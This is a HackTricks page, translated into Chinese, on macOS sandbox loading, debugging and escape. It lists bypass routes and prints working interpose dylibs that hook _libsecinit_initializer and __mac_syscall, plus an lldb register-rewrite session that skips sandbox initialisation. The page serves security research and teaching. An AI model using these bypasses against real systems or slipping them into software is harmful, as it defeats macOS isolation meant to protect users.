Chinese - Ht
HackTricks Training Twitter Linkedin Sponsor

macOS Sandbox Debug & Bypass

支持 HackTricks

Sandbox 加载过程

在前面的图像中，可以观察到 当运行具有权限 com.apple.security.app-sandbox 的应用程序时，沙盒将如何加载。

编译器将链接 /usr/lib/libSystem.B.dylib 到二进制文件。

然后，libSystem.B 将调用其他几个函数，直到 xpc_pipe_routine 将应用程序的权限发送到 securityd。Securityd 检查该进程是否应该在沙盒内进行隔离，如果是，它将被隔离。 最后，沙盒将通过调用 __sandbox_ms 激活，该调用将调用 __mac_syscall。

可能的绕过方法

绕过隔离属性

由沙盒进程创建的文件 会附加 隔离属性 以防止沙盒逃逸。然而，如果你设法 在沙盒应用程序内创建一个没有隔离属性的 .app 文件夹，你可以使应用程序包的二进制文件指向 /bin/bash 并在 plist 中添加一些环境变量，以利用 open 来 启动新的未沙盒应用程序。

这就是在 CVE-2023-32364** 中所做的**。

因此，目前，如果你仅能创建一个名称以 .app 结尾且没有隔离属性的文件夹，你可以逃离沙盒，因为 macOS 只 检查 .app 文件夹 和 主可执行文件 中的 隔离 属性（我们将把主可执行文件指向 /bin/bash）。

请注意，如果一个 .app 包已经被授权运行（它具有带有授权运行标志的隔离 xttr），你也可以利用它……只是现在你不能在 .app 包内写入，除非你拥有一些特权 TCC 权限（在高沙盒内你将没有这些权限）。

利用 Open 功能

在 Word 沙盒绕过的最后示例 中可以看到如何利用 open CLI 功能来绕过沙盒。

macOS Office Sandbox Bypasses

启动代理/守护进程

即使一个应用程序 旨在被沙盒化 (com.apple.security.app-sandbox)，如果它 从 LaunchAgent 执行（例如 ~/Library/LaunchAgents），也可以绕过沙盒。 正如在 这篇文章 中所解释的，如果你想要在一个沙盒应用程序中获得持久性，你可以使其作为 LaunchAgent 自动执行，并可能通过 DyLib 环境变量注入恶意代码。

利用自动启动位置

如果一个沙盒进程可以 在一个地方写入，稍后一个未沙盒的应用程序将运行该二进制文件，它将能够 通过将二进制文件放置在那里 来逃离沙盒。这类位置的一个好例子是 ~/Library/LaunchAgents 或 /System/Library/LaunchDaemons。

为此，你可能需要 两个步骤：使一个具有 更宽松沙盒 (file-read*, file-write*) 的进程执行你的代码，该代码实际上将在一个将 未沙盒执行 的地方写入。

查看关于 自动启动位置 的页面：

macOS Auto Start

利用其他进程

如果从沙盒进程中你能够 妥协其他在较少限制沙盒（或没有沙盒）中运行的进程，你将能够逃离它们的沙盒：

macOS Process Abuse

静态编译与动态链接

这项研究 发现了两种绕过沙盒的方法。因为沙盒是在用户空间中应用的，当 libSystem 库被加载时。如果一个二进制文件能够避免加载它，它将永远不会被沙盒化：

  • 如果二进制文件是 完全静态编译 的，它可以避免加载该库。

  • 如果 二进制文件不需要加载任何库（因为链接器也在 libSystem 中），它将不需要加载 libSystem。

Shellcodes

请注意 即使是 shellcodes 在 ARM64 中也需要链接到 libSystem.dylib：

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

注意，即使某些 操作 可能在沙箱中被 允许，如果应用程序具有特定的 权限，例如：

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

有关 Interposting 的更多信息，请查看：

macOS Function Hooking

Interpost _libsecinit_initializer 以防止沙盒

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall to prevent the Sandbox

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

使用 lldb 调试和绕过沙箱

让我们编译一个应该被沙箱化的应用程序：

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

然后编译应用程序：

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

该应用程序将尝试读取文件**~/Desktop/del.txt，而沙箱将不允许**。 在这里创建一个文件，因为一旦绕过沙箱，它将能够读取它：

echo "Sandbox Bypassed" > ~/Desktop/del.txt

让我们调试应用程序，以查看沙盒何时加载：

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

即使绕过了沙盒，TCC 仍会询问用户是否允许该进程读取桌面上的文件

参考文献

支持 HackTricks
PreviousmacOS Default Sandbox DebugNextmacOS Office Sandbox Bypasses

Last updated